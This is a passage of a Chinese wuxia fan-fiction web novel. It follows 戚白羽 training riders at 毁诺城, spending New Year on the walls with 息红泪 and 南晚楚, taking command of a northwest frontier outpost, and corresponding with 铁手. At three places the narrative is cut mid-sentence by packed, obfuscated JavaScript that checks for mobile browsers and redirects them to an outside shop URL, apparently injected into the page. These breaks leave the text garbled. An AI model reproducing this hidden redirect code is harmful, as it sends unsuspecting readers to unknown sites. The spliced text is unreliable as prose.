她武艺是四姐妹中最低的,只有轻功稍佳,乃是因为从前在青楼中惯于习舞。但她的心思最玲珑,城中近三百女子,人人她都认得,不光是姓名来历,连性情喜好也一一谙熟于心。城中有什么冲突吵闹,全由她来调停;新来的姐妹该分配到哪个住所、从事何等工作、找谁引导和安慰,也由她来分派。 正因南晚楚是这样性子,虽然她心碎欲绝、神思不属,但戚白羽既开了口,她还是强打精神,领她细细将毁诺城前后讲了一遍。这城建时,规模并不算大,但是随着人员增加,如今已多出数条暗道,又增设了许多守城机关。这些地方一一细讲,不知不觉便耗去一天时间。 在这一日的晚餐时,息红泪便来寻她们两人,道:“长缨既来,咱们有桩规划已久的训练,终于有空办了——长缨,你愿不愿教城中姐妹骑马?” 戚白羽一听便明白:南晚楚很是擅长骑马。想必息红泪三人,这一天里绞尽脑汁,好容易想出来一个让南晚楚须臾不得离人的主意。她点头道:“自然可以。” 18. 第十八章 中原向来缺马,但最稀缺的只是战马。毁诺城只在外出往来交易时骑马赶路,对马的品相倒不挑剔,城中常备的马匹,良莠不齐地能凑出二十几匹来。时近年关,常驻在外进行交易和消息沟通的姐妹,也带着人马陆续撤回城中,林林总总,在城中共凑出三十六匹马来,算上戚白羽自己带来的坐骑,便是三十七匹。 城中单论会骑马的女子,其实远多于这个数字。但当中不少人只是堪堪称得上会骑,并未熟惯到经得起长途奔波,这样一来,能够远行办事的人选便限制住了。因此,这一批训练,便先由南晚楚简拔骑术尚可的三十五人,跟随她和戚白羽学习更高明些的骑术技巧:疾奔、急停、控缰、安抚惊马等等。待得练成,便是三十五名教师,可以很充裕地一对一去教更多技艺生疏的姐妹了。 这些时日,恰巧撤回城的一路姐妹在路上被采花贼给盯上,虽然及时警惕,未叫他得手,但被时时盯着,却也麻烦。于是息红泪亲自赶去一趟,守了几夜,直到将那人斩于镖下,这才护送其他姑娘一道回返。 一来一回,前后花去十来日,当她再度踏入毁诺城的时候,几乎马上就要过年了。 息红泪在清晨时分入了城,并不稍歇,即便回到城中事务去。到了上午时,忽然听见外面街道上,马蹄踏地之声一路远去,这才想起,想必是戚白羽和南晚楚带队出城,去习练骑术了,遂一时兴起,搁下手中事情,往城墙上去。 她登上城楼向下望的时候,大吃了一惊。 在毁诺城与林地之间的那片空地上,一名白衣女子,脸戴面具,手执旗帜,轻骑奔走。她身后三十六骑跟随旗令,或分或合,往复奔驰。 要知道,这片空地并不甚大,骏马奔驰时,不过片刻就要转弯掉头。三十多骑,队形一旦稍乱,立时便要在中间推挤踩踏,乱作一团。如今只短短习练十余日,竟能这样灵活腾挪,严整有度,实在是息红泪料想不到的。 不过,息红泪也是女中豪杰,眼界颇广,她看了一阵,明白过来:戚白羽并没有在这短短数天内,将所有人尽数磨炼成高明的骑手。若是细看,便能发现她们当中许多人的身形尚嫌僵硬。但场中三骑一队、三队一组,如此将三十六骑分作四组。每一队、每一组都各有领队,凡逢转向变阵,总是头马先行,次之左侧,再次右侧;队间组间,也依此理。只要众人将自己这一小队中的次序记好,无需多么灵活机变、技艺高超,只需依令而行,便能进退有度。 而在这样辗转奔腾间,又间杂大量的转向、控缰,每一骑手都需时时注意自己与身边骑手的距离,不可掉队亦不可拦路,奔驰之间,自然而然地便将需要习练的部分一一运用了。 她在城头站了一阵,显然底下骑手,许多已注意到她,但阵型丝毫不乱,戚白羽挥舞旗帜,三十六骑旋分为左右两队,合拢包抄。唐晚词在旁抱着臂,道:“是不是看得眼热?我都想学了。” 息红泪笑道:“我也想学。晚楚每天跑一阵子马,开心了些没有?” 唐晚词道:“还开心呢,这些天找我抱怨腿痛的姐妹可不少,我的药膏都用光了。你出这个主意,也不知道预先备点药材来。” 息红泪笑问:“那么,有人要退出没有?” 唐晚词道:“一个都没有!” 她顿了顿,又说:“晚楚这些天虽不怎么笑,精神却好些了。我反而担心白……长缨。她和她大哥之间,到底出了什么事?” 息红泪叹道:“我又问谁去?这次出门,我也打听了好一阵子,不曾听说他们兄妹有什么矛盾。我甚至冒险托付‘那边’相熟的姐妹打听,她们却说,寨中人对此也是毫不知情。戚少商对外只说,乃是有什么任务,才令她长期在外的。” 唐晚词皱起眉来,道:“若是他们索性公开来断绝关系,那倒好了。如今这样,不是长久之计。” 她们见过太多槁木死灰、生无可恋的女子,也见过许多笑容艳丽、内心却早已僵冷的女子。城下一马当先的女骑手身上并无纵马奔驰的快意,甚至没有什么骄傲自得,从头至尾,只是冷漠地抿着唇,她们都看得明白。 她不快活,她只是在给予,却不曾如息红泪四姐妹一般,从这给予中获得意义。 但是,只要戚白羽还没有同连云寨断开关系,还不能堂堂正正地长留于此,毁诺城便给不了她所需要的东西。 息红泪转身向城下走去前,最后望了一眼城外。外面戚白羽正舞动旗帜,骑队蓦地张开,由三骑并行改为九骑并行,犹如溪水汇成江流,听不见一点旁的动静,只有马蹄踏地的声音。唐晚词道:“她是能将千军之才,不该隐姓埋名地留在这儿。” 息红泪蹙着眉头,没有作答。 - 这还是戚白羽第一次留在毁诺城过年。 这里的年比草原上热闹得多了,又比连云寨文雅很多。她可是还记得,他们兄妹收服了连云寨之后的第一个年关,戚少商三令五申,还是有人醉酒后险些烧了半间屋子。 毁诺城便是最胆大放纵的女子,在这方面也有节制,因息红泪等人已经早早定下,一桌只许给一壶淡酒。也是到了年关时,她才发现,被选拔来训练骑术的姑娘们到底是在悄悄练些什么:她们给马挂上了大红披帛,骑着招摇过市,带城中的几个小女孩玩得不亦乐乎。 城中心最大的屋子这一日清了出来,楼上楼下摆满了桌子,全城的女子都凑来说笑玩乐,久久不愿离去。跟着她训练骑术的姑娘们,接二连三地来敬她酒。不过,众人一旦开始串桌,场面便混乱起来,戚白羽悄悄地早些离了席,去接替城门上仍旧值班警戒的姐妹。 按理说,她离席之时,少说还有一个时辰才到真正交班的时间。但才过不久,息红泪、南晚楚先后冒出来,接下了另外两名女弟子。 戚白羽看看她们,道:“过年时的值守,一向这么隆重么?” 息红泪斜倚城头,笑道:“正因人少,才要精兵。往年过年时,我们四姊妹一向也是轮番值守的,叫其他姐妹多些玩闹的时间。” 她说完,城墙上一时沉默下来。隔了片刻,南晚楚款款笑道:“大娘现在一定头疼极了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416074|200763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 息红泪道:“是么,我头疼什么?” 南晚楚柔声道:“不论是我,还是长缨,都难劝得很,是不是?” 息红泪佯嗔道:“你自己明白这道理,还要我们天天为你吓个半死!” 南晚楚叹道:“不论是你们三个,还是日常交际的姐妹,甚至连刚回来毁诺城的长缨,都为我操心,我岂能毫无所觉?只是,情之一字,并非想明白了道理,便能进退自如的。我心中早已知道他烂透了,可是,想起来他的脸,还是伤心得要命,还是无论如何想要相信,或许他哪句话里,曾有过几分真心。” 戚白羽问道:“你到底看上了他哪一点?” 南晚楚道:“我偏偏就是喜欢他。这世上或许有十个百个男人,都同他有一样的优点,一样的缺点,我也只爱他。” 她看戚白羽还是蹙着眉头,反倒微微地笑了一笑,道:“什么时候你若是看见一个人,心中升起这种爱怜与不舍,你就明白了。……当然,或许你不明白才好。” 戚白羽心中暗自道:我自己尚且活不明白,又哪里能够去爱怜别人?她不想反驳,但听这句话时也只觉得十分遥远,像是一个只存在于话本故事里的传说。 但,息红泪却听得很是明白。她道:“可是,你就只爱这一个人,难道就不爱我们毁诺城里数百的姐妹么?你又如何不爱怜我们、疼惜我们?” 南晚楚垂下眼帘,笑了一笑,借着城头花灯的明光,戚白羽却分明看到,在她一笑之时,两行珠泪滑落脸颊。她微笑道:“大娘,你且放心,我虽对不住姐妹们,但若要受了这样多的关切爱护,再一走了之,那便欠得更多了,我会和大家留在一处的。假若我下次再一时糊涂,你就……” 息红泪冷笑道:“下次?那人还敢再来找你,我先取了他的命!” 南晚楚欲言又止,到底不曾为他辩驳,只是默认下来。 戚白羽在这个话题上,实在不便开口:她自己的大哥戚少商,尚且亏欠息红泪良多。 她虽然觉得,息红泪如果真的要痛下杀手,戚少商也不冤枉,但是她私心之中,毕竟还是左右为难,不想提这一回事。作为戚少商的妹妹、息红泪的朋友,她宁愿息红泪能将戚少商忘得干干净净,再不往来。 于是,南晚楚不说话了,她们便谁也没再开口,城墙之上一静,只听见城中心众多女子谈笑作乐的声音,远远地随风飘来。 忽然之间,在城中心广场的方向,一簇烟花猛地窜上天空,在无边的森林和断崖的包围中落下漫天星火。 息红泪笑道:“咱们人虽然少,也得热闹热闹!长缨,你来打拍子;晚楚,你吹一支曲子来。” 南晚楚自袖中掏出一支紫竹笛,略一思索,望了望息红泪,又望了一眼戚白羽。她眼中犹有泪光未干,烛火之下,更加显得眼波流转。她微微一笑,将笛凑在唇边,奏出一段曲子来。戚白羽用腰间短匕轻轻敲击着城墙,听息红泪曼声唱道:“东风夜放花千树,更吹落,星如雨……” 楚相玉死后的第一个新年,便这样过去了。 19. 第十九章 正月将尽时,毁诺城中几乎已完全消去了过年的气氛,回归到平日的生活中去了。 要维持一个全是女子的势力,根本不像许多男人想象一样,只有莺莺燕燕、一团和气。要知道世间受苦的女子,并不是只有年轻的、被情人抛弃的姑娘。城中许多的老人、孩童、身有残疾的女子,未必做得了工,却一样要吃穿住行。城中的建筑、暗道、机关,无法雇佣人来做,却全要一砖一瓦地砌起来。要在这儿生活,实在是需要比很多男人更加辛苦才是。 因此,城中很多地方用得到人。骑队训练已成,她放下了这桩事,不再有指派来的任务,但只要在街上随便走一走,便有数不清的地方是要人帮忙的:春耕要翻地,机关修缮要搬动巨大的桨轮,染坊和绣坊里到处是比一人都高的大缸。 她这里插一手,那里帮一把,每一日便如此漫无目的地过去,这一日和另一日、这一年和另一年,似乎也并无差别。 如此到了二月初,息红泪来寻了她。 戚白羽早预料着有这一遭谈话,在清晨时分,一出门便撞见息红泪,也不意外。她们漫步到毁诺城的城墙上,这儿地势空阔,只要将墙头驻守的女弟子挥散下去,周遭便不再有人听得见她们两人对话。 新雪初霁,晓光微吐,将林间半化不化的薄雪照出一层轻红色来。息红泪望着雪,问道:“白羽,你同戚少商之间到底发生了什么?” 戚白羽道:“我不能说。” 息红泪道:“若是他对不起你,你要知道,我这儿记下他的债可也不止这一份了。” 戚白羽道:“恰恰相反。是我对不起他。” 息红泪大为惊讶,瞧她一眼,道:“戚少商如今好好地活着,连云寨也还好好的,我竟想不出,你能做出什么对不住他的事情来。” 戚白羽唯有苦笑。 她杀了楚相玉,对得起母亲、对得起自己,也绝不会对那名义上的父亲感到愧疚。但是对戚少商,她的确是对不住的。但这一理由无法告知息红泪,她亦不愿平白将息红泪扯进这个秘密带来的危险中。她只是重复一次:“我不能说。” 息红泪叹道:“好罢,你们的秘密,我不刺探。只是,你便打算一直隐姓埋名,藏在城中么?” 戚白羽道:“又有何不可呢?毁诺城有许多地方用得上我。” 息红泪道:“不错,毁诺城许多地方都需要你。但是,你却不需要毁诺城。” 戚白羽怔了一怔,不知该怎么答话。 息红泪道:“你并不是那些受到欺辱的弱女子,需要一个清净地方,受旁人庇护。我听说,这些年来,连云寨每扩张招纳,总是首先交给你来训练。五年前,邢州分舵初建时,你站在原地,一动不动,只用一只左手,便空手击败了三十七名持刀的壮汉,由此人人心悦诚服,愿听驱使。” 戚白羽道:“打败几个武功尚且不入门的人,又有什么好吹嘘的。” 息红泪道:“三年前,连云寨遭著名的贪官欧如晦率兵三千围剿,当日你指挥一队人马,进退包抄,如臂使指,以一支百人队便击破欧如晦一千五百人的卫队。到生擒他的时候,剩下那一千五百人的援军甚至还在路上。” 戚白羽道:“他所率官军,全是不堪其用的草包枕头;连云寨上下,却是日日训练,令行禁止。换连云寨哪个寨主来,还能击不破他!” 息红泪又道:“我听寨中姐妹说,你前些日子训练她们骑术,结合毁诺城常用旗语,设计了一套旗令教予她们。这其中,攻防撤守,包抄变阵,面面俱全,甚至教她们如何单手握缰,如何跳沟越障。你要知道,我原本只为了让你帮忙看一看晚楚,没想到你却能在这短短半月里,练出一支可堪冲阵的骑兵来!” 戚白羽道:“怎么,我教得不够好么?” 息红泪道:“不,是太好了。白羽,你是该当扬名天下的才能,躲在这个两三百人的小城内,是屈就了你。” “大娘亦认为,我有扬名天下的才能,便一定要去做扬名天下的事业吗?”戚白羽轻声问。 “自然不是。照你这样说,我便不该放下闯荡江湖的日子,来建这毁诺城!”息红泪微笑道,“但我如今的日子,比那时要快活。可是你呢,白羽?你在城中连面容都不敢露出来。要你过这样的日子,只是委屈了你。” “大娘又怎么知道,你过这样的日子便会快活呢?”戚白羽问。 息红泪笑道:“试试再说!你瞧,我在塞北生活过几年,过得不愉快,便到了中原来。后来结识你大哥,同他一起闯荡江湖,后来忍不了他,又认识了晚词、晚晴、晚楚她们,才起心建这一座城。无非是想做什么,便去做了。” 戚白羽淡淡道:“嗯,那真好。” 她有一点微弱的羡慕,因息红泪所说,是一种她无从想象的人生:她既无想做什么的念头,也很久不曾有能够去做的自由。息红泪续道:“你若没什么想做的,那么,一样是过无趣的生活,扬名天下总归好过籍籍无名,是不是?” 戚白羽倒不曾从这个角度想过——这样说来,也有道理。她忽又想起谢春风曾劝过她:不妨且去西北边境看一看。 她原本并不打算依言而行,因为她太知道谢春风的本领,绕来绕去,总归要图她为明教大业出力——她被逼着参与了大半生的“造反”事业,再也不想于此有什么牵连。 但,若是只为了西北边防,却不一定当真要与明教有牵扯:连云寨素来与草原上的小部落做马匹生意,也在那儿设有分舵,协防一处西北要道。原本在边寨常年据守的是五寨主管仲一,但管仲一前些日子为了楚相玉,被调回总舵,至今还养伤未归,她倒不妨去那里看看情况。 息红泪看她脸色,知晓她意动,又道:“若是毁诺城哪天有难,我们也不会同你客气;你若去过其他地方,觉得不好,随时回来,我们自然也欢迎。隐姓埋名这等事情,随时都可以做,何必急于一时?” - 在二月过半时,戚白羽抵达了连云寨的西北分舵。 此处扼据草原要道,因时常要与狄人交战,筑有坚城、布有拒马,城头日夜巡逻值守,防卫森严之处,犹过于总舵。但戚白羽策马而入,未经任何拦阻,门口的守卫远远认得她的脸,叫一声:“戚令主!”便大敞寨门,迎她进去。 这个名号还有一番缘故:昔年连云寨原本只有八名寨主,后来她和大哥挑上门去,八人齐攻,不仅拿不下戚少商,竟连他身边这十七八岁的小妹子都打不过,由是心服口服,甘愿认戚少商为大寨主,重新结拜。 戚白羽却并不很愿意与他们拜作兄弟:她内心中承认的,便只这一个大哥,忽然间莫名其妙多八个兄弟,彼此之间从无交情,又算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416075|200763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么回事? 那时她初出草原不久,于人情世故并未学通,还不了解,绿林好汉最是看重脸面义气。这八个大男人对战她时,已经输得铁板钉钉,她若是不与众人做这兄弟姐妹,位次不在他们之上,叫余下众人,怎么有脸面继续当寨主? 因此,当日她表露出不愿的意思,场中气氛,当即为之一僵。幸好戚少商素有急智,当即捏造出一个从前并不存在的“令主”之位来,单设了给她。 这“令主”职责,顾名思义,寨中一干口令、旗令、鼓号、暗记,乃至各种变化,均由她设计推行,并对寨中新人加以训练。还有一桩特权:任何命令,出于她口,便如大寨主戚少商的亲口号令,不需要任何信物为证。 这一权力,使她隐约居于其他几位寨主之上,但她性子淡漠,并不滥用特权发号施令,于是,连云寨诸人遂能各安其位。 她既有此位,平素又不曾担任固定的职责,在寨中来去一向很是自由,西北分舵众人见她突兀来此,也不以为异。如今边寨中事务,暂由管仲一的得力下属周则安排,戚白羽一来,自然便成了此地的主事之人。周则得知消息,即刻赶来,在旁为她介绍边寨如今情况。 戚白羽一边听着,一边在城中转了一圈,将粮草、军营、集市等处一一看过。最后他们向着管仲一平日办公的主厅去,周则问道:“戚令主,往后咱们边寨……莫非换您来主事了吗?” 戚白羽道:“待你们五寨主养好了伤,大约还是他回来领兵。” 周则哦了一声,声音中仿佛难掩失望似的。戚白羽打量他一眼,问:“怎么,管仲一待你们不好?” 周则忙道:“怎么会!五寨主素日待我们一向很好……” 戚白羽沉下脸,道:“有什么话,你只管照实说。我担保管仲一绝不会听见一字半句。” 周则道:“令主实在误会了。五寨主待我们当真很好,这是属下真心话。您若不信,别说寨中兄弟姐妹,便是周遭百姓,您只管问,不会有人说出什么不好来。” 戚白羽道:“那你为什么仿佛盼着换个人来主事一般?” 周则笑道:“不是换个人,只是……只是兄弟们个个由您一手练出来,知道您的本事,却从未见过您上战场的样子,心中不免有所期待。” 戚白羽哦了一声,问:“你们这儿,冬春时节,并不常有战事,是不是?” 周则道:“是。” 如今春日未近,若是戚白羽只短暂在这儿待一段时间,自然便不会有上战场的机会。但周则竟会因此失望——连云寨的兄弟姐妹竟会因此失望——却是她从不曾想过的。 她奇道:“有很多人跟你一样期待吗?” 周则答道:“自然!我原是连云寨老人,大寨主和令主来后,我便是第一批在令主手下受训的——” 戚白羽道:“我记得你箭术很好。” 周则笑道:“哪里敢与令主相比。那时令主身量还不到许多兄弟肩膀高,但指挥若定,人无不服,我们私下里都说,不晓得令主竟如何这样年轻,气势却赶得上征战多年的老卒!” 戚白羽并不知道这些事。仿佛在那些她被某个目标所驱使的年月里,有许多像这样细碎的小事,不为她所知地过去了。她心中说不出是什么滋味,未置可否,只道:“明日你们还照常训练,叫我看看。” 20. 第二十章 戚白羽顺利地接掌了这处分舵,水到渠成得仿佛本来就应由她掌管这儿。 原本连云寨分舵之中,少说大半人都经戚白羽训练出来,有那等不服输、不愿被一介“女流之辈”统领的人,早在受训第一日,便吃过她的下马威,知晓她的本领。因此寨中一干事务,如臂使指,无不如意。 至于边关战事,于她而言,也不陌生:她是在战场上长大的。 在十一岁那年,她的老师几度轮换之后,换成边关宿将张青。张青带着她,迁离了草原边缘那间小屋,进入了一个草原上的小部落。 虽然中原人一概将草原部族称作狄人,但草原之中,其实分为许多大大小小的部落,彼此之间也互有结盟或者征伐。她亲眼见着张青如何展示本领,取信一个小部落,率领他们族中的青壮男儿。其后足有五年,张青便以这一支部落为刀,逐一教她:如何练兵、如何安排战阵、如何保障粮草;如何发挥骑兵的优势,又如何击破他们的弱点。他们带着那个小部落征伐,逐渐令它成为一个中等的部族,又在离开前有意为他们惹下强敌,在两败俱伤中葬送张青亲手练出的精兵。 她至今还记得,那匹养了五年的白马如何在她的身下嘶鸣、倾倒、挣扎着咽气。张青自旁杀出,一把将她拎到自己的马上,冲破战阵。他们在混乱的战场掩护下冲到最边缘,张青压着她微微发抖的肩膀,逼迫她转头去看骑兵近身相交之后的血肉磨盘。在鲜血飞溅中她认得出熟悉的脸,那些脸对她微笑过,递给她奶茶和硬酪,夸赞她的本领。他们心甘情愿地追随张青上战场,不知道这一次的意图是要将他们尽数葬送。 “慈不掌兵。他们每一个人,都是中原的仇人。”张青冷冷地说,“你要学会怎样在战场上送人去死。” 如今她知道,她的那些老师成功了。他们呕心沥血,的确将她培养为了一个适合马上征战的人材。 在中原武林,几乎无人知道她最擅长的,其实是枪法和弓箭——她也从来只用拳掌,因为无论弓箭还是长枪,并不适宜于武林人士近身相搏。她学的是马上的枪法,是如何冲锋陷阵、分割战场,如何万军之中取敌首。如今她立在城头,看着远处的风沙、看着石砖上陈旧的血迹,心中竟升起一种熟悉的亲切,好像终于回到了自己本应在的地方。 她从书卷上学过兵法,她从沙盘上推演战局,她亲历那些草原上小部落的彼此征伐。这是她的第一千次沙场厮杀,却又好像还未经历过第一次。 戚白羽原本实实在在地打算在这里短暂驻留一阵子,待到管仲一痊愈,过来接手西北分舵,她便离开:一支军队不能有两名统帅,她也不好就这样夺去管仲一的位置。 但是,站在此地,她心中不知怎么,也起了一个念头。她想:张师教给我的那么多法子,总是中原如何抵抗外敌。我在战场上厮杀过那么多次,若是从不曾为自己的百姓杀过一回,岂不遗憾? - 连云寨自有一套信件往来的渠道,戚白羽一封报平安的信送去,过得八九日,便有总寨信使前来,送回连云寨中信件。戚白羽接来,却很是意外地看见,不独是戚少商,却还有一封厚厚的信是铁手寄来。信使见她将目光投在那封信上,解释道:“这信原在刚过完年的时候,驿路一通,便送来总寨了,只是那时令主不在寨中,大寨主便先收着。前些日子得了分舵的消息,才知道令主在这儿,便一并送来了。” 她言语中意思,显然已隐约猜出,戚白羽并不是真的有什么任务在身,而是连戚少商都不知道她的去向。虽然如此,却不说破。戚白羽想起这名叫肖玉的姑娘原是三寨主阮明正的得力手下,料来也颇有聪明才智,只作信使,显然是大为屈才了,于是一边拆信,一边问:“大哥对西北分舵事务,是尚有什么安排么?” 肖玉道:“大寨主只说,我到了边寨,便听从令主吩咐。具体事宜,料来都写在信中了。” 戚白羽拆开来看,戚少商信上写得简略,只说她平安便好,总寨之中一切平稳,若她行去别处,勿忘来信;若愿留在分舵,恰好管仲一还需时间养伤,她可安心留下掌事,但不能没有亲卫,便将肖玉调来听她差遣。 江湖儿女以武功论高低,没有平民中那样分明的性别之分,连云寨有不少女弟子能征善战,只要戚白羽开个口,不要一盏茶,便能组织出一支亲卫队来,只是因为如今战事尚远,无此必要罢了。谁料戚少商竟想起这一点,还不远千里,给她送了人过来。 她心中一软,道:“阮三哥总抱怨总寨里能文善书的人太少,也舍得将你送过来?” 肖玉微微一笑,答道:“三寨主是这样说。但大寨主说,我昔年在总舵的擂台比武中,也曾拿过前十名的成绩,这身好功夫该有个用武之地。” 她言语之中,自有一股傲气。戚白羽道:“好。你先去找周则,叫他给你登记名册、安排住处。明日校场演武,我会选拔自己的亲卫,你也一并参加。” 肖玉点头答应,便出去了。戚白羽将戚少商的信放下,这才又拆了铁手的信。 这信厚得简直如同半折话本,也不知是写进了多少东西去。她掏出那一叠信纸来,入眼微惊。 ——好一手字! 铁手写得一手十分漂亮的字,颜筋柳骨,漂亮得远过于她的想象。再细看时,内容又叫她再吃一惊:难怪这信如此之厚,他几乎是如同写案卷一般,将三桩案子的后续与结果,一一备述,不曾漏过一点细节。 绣花大盗一案,陆小凤和铁手先后回京之后,又经由多番调查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416076|200763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,抽丝剥茧,终于查明金九龄便是绣花大盗的证据,将赃物一一追回。又因为翻出他先前暗中联络乱党等诸般罪证,搞得皇帝大怒,他的死自然无人敢于追究。陆小凤将他尸首带走安葬,便这样草草了结了。 李鳄泪一案,铁手和追命先后经手,查明李鳄泪父子诸多贪赃枉法的恶行,向上呈报。其时傅党正要洗脱金九龄一案的干系,自顾不暇,诸葛神侯伺机进言,于是青田县狱中关押的“疑犯”,连同关飞渡、丁裳衣等人,很快便顺利得以释放。 因追命有意关照,谁都不曾在狱中吃什么苦,倒是从前肆意妄为的狱卒、门客等人,被抓捕了一批归案。如今朝廷已经指派了青田县新的县太爷,是位新科进士,尚不知治理水平如何,至少倒是个清正之人。 至于此案中的真凶戚白羽,便如同以往许许多多难以捉拿的江湖人士一样,多背一张朝廷的通缉令。但此类通缉令,发得多了,却无力执行,便成为无关痛痒的东西,她一点都不为此烦恼。连云寨诸寨主,若是身上没有背一两道通缉令,说明狗官杀得少了,反倒丢脸。 还有那名叫做赵槐的捕快,便以金九龄所杀结案。在金九龄抄家时,陆小凤悄悄截留两块金子,便当做补偿,托铁手转交给了赵家弟弟,于是弟弟卖掉鸽子和家产,用这几块金子在府学附近买了一间小院,带着盲眼的母亲搬了进去,一面读书,一面不误照顾母亲。铁手悄悄打探过,知晓他功课不错,只要考取功名,倒不愁往后生计。 戚白羽几乎已忘了这个横死的捕快:江湖上一次争斗,便死十几二十人;战场上彼此征伐,百人千人的尸体堆成山的模样她也见过。她原不在乎赵槐的生死,也不在乎他遗下的亲人如何度日。 但,铁手这样细细写来,仿佛这几个陌生的、无关紧要的人,忽然间便产生一丝联系。好像他们的安危、喜好、乃至生计和前程,都变得生动了。 她当然知道,并不是这一封书信,便能移了她的性情。她会生出这样的感觉,乃是因为铁手对这两个人的关切,毫无保留地倾注信间。 真是怪人。 她自己眼见的死人多了,渐渐地便不在乎战场厮杀中死去多少士兵。铁手少年时便是成名的捕快了,见过的死人和惨案一定也多,怎么会在做这一行十几年后,仍然有心去关照每一个小案子所涉的人? 他的感情难道是无穷无尽的吗,他的心难道如他的手一样坚不可摧吗?她看不透他,却不觉得危险,只是觉得像有一阵风,蓦地拂面而过,吹得她心中一乱。 她移过纸笔,写了一句多谢,欲要搁笔时,觉得这短短一句回应,实在对不住这样用心的长信;欲要多写些,却又不知该说什么。踌躇再三,她在信后续道:西北无甚可写。你想知道什么? 21. 第二十一章 戚白羽完全不曾想到,这样短短两行字,铁手竟能回以又一封长信。 隔了几个月,边关战端将起时,她才收到信。铁手先在心中为回信来迟而致歉:他许多时间在外奔波办案,隔了很久才有机会回到京城的神侯府,得见她的信。而后他细细问了很多:边关几时开春,何日入冬?堡寨如何构筑,粮食如何种植?开什么花,生什么草,附近有什么河流?姑娘如何打扮,百姓如何过年?朔风凛冽时,边关的明月是否当真亮过中原呢? 她心中暗想:全是废话。 铁手当然不会没到过边关:他本人正是沧州的少年神捕。至于西北,他和同样协助镇守此地的“天机”有深厚交情,常有往来。与其说这些问题是他当真想要知道的,不如说,只是想要为她聊作遣怀。 她觉察到他的心意,却并不觉得自己需要这样的哄劝。于是她只挑挑拣拣,答了其中的一部分:关于如何练兵布阵,如何作战,西北防线上不同的江湖势力如何协防驻守云云。至于那些风月花鸟,她明知道他知道答案,便不再作答了。 第二日她照常带队出寨——到了狄人常来袭扰的季节,寨内便常有小股骑兵巡边。偶然一瞥间,她见到路两侧的野地里,稀稀落落地开着数点紫色的小花。 说来也奇,她日日走这条路,倒还是头一次注意到路边生有野花,更从来没有想过这些杂草野花,各自唤为何名。 她不曾问起,也并不慢下步子——问了,恐怕其余人也不知晓答案。只是,有时想起这封信时,就忽然发现寨中生着黄白相间的小花,灌木里落下蓝背的小鸟。有时她巡视夜哨时,信手扯一片叶子,在手中漫无目的地摩挲着涂了蜡一般的表层,心中想:世上真的有人,知道这所有花草的名字吗? 她正想着的时候,周则来问:“令主,先前五寨主领咱们作战时,用的是‘管’字旗。咱们如今,是用‘戚’字旗吗?” “‘戚’字给大哥留着。用‘白’字吧。”她答。 至于练兵和作战,她在信中写:无甚出奇,寻常战事而已。 边关常年不太平,却已经连年未曾有过大战,只是小股袭扰,接连不断。似这等小规模的战斗,她跟随张青学兵法的第二年就已经烂熟在心——休说防守不力了,这样的袭扰,但凡她叫敌人打到营寨下,张青都要从地下跳起来骂她! 如是几番胜利之后,不再有狄人主动袭击连云寨分舵的守备范围。于是她出击的范围逐渐扩大,及至周围三城八堡二十二寨间,再没有二百人以下的狄人敢于进犯。而人数一多,便不能进退自由,又反而被她设伏包抄,逐一剿灭。 最初,她只率领连云寨麾下的一百骑、三百余步兵,而后周遭的堡寨与江湖势力,纷纷自愿听她差遣,两月之间,竟组出一支六百轻骑并四千步兵的队伍。“白”字旗所过之处,狄人闻风而避。 这一日她率军回营时,见到营寨的方向驰来数骑。 为首的是原本驻守寨中的肖玉,她身后跟着一名矫矫不群的少年将军,其后几骑,当是他的护卫。肖玉驰到近前,勒了马,抱拳互为介绍:“少将军,这正是我们戚白羽、戚令主。令主——” 她未及介绍,被那少年将军截住,朗声道:“在下赫连春水,奉家父之命而来。” 戚白羽不必回头,便能感受到她身后传来隐约骚动。没有哪个人开口,但是他们隐约在交换不安的眼神,这一刻,不知道多少人,注视她和赫连春水。 从西域到北境,从秦凤路到河东路,许许多多江湖势力、仁人义士,协助驻防。但依据朝廷法令,民间不得私藏盔甲弓弩,总不可能叫这些江湖好汉赤手空拳地去对抗狄人的着甲骑兵。 因此,在赫连乐吾将军驻守边关后,官军与江湖势力达成了一种默契的合作:官府以招募民兵的名义,将这些江湖好汉划归为“民兵”身份,名正言顺地发予粮草兵器。各个势力,平日里仍可自主,在战事紧急时却需听令调遣。 连云寨西北分舵自然也有这样的“民兵”身份——但那还是管仲一在时的事。如今,戚白羽并不曾与官府联络过,却自然而然地凭借一己之力,拉拢起了这样一支在整个边关排得上号的兵力。 赫连乐吾遣了自己的儿子前来,是要拉拢?还是要敲打?人人都悬心这个问题。 戚白羽颔首问:“赫连将军有何见教?” 赫连春水道:“谈不上,只是家父听说了‘白羽将军’的风姿,叫我来长个见识罢了——我们回营再聊?” 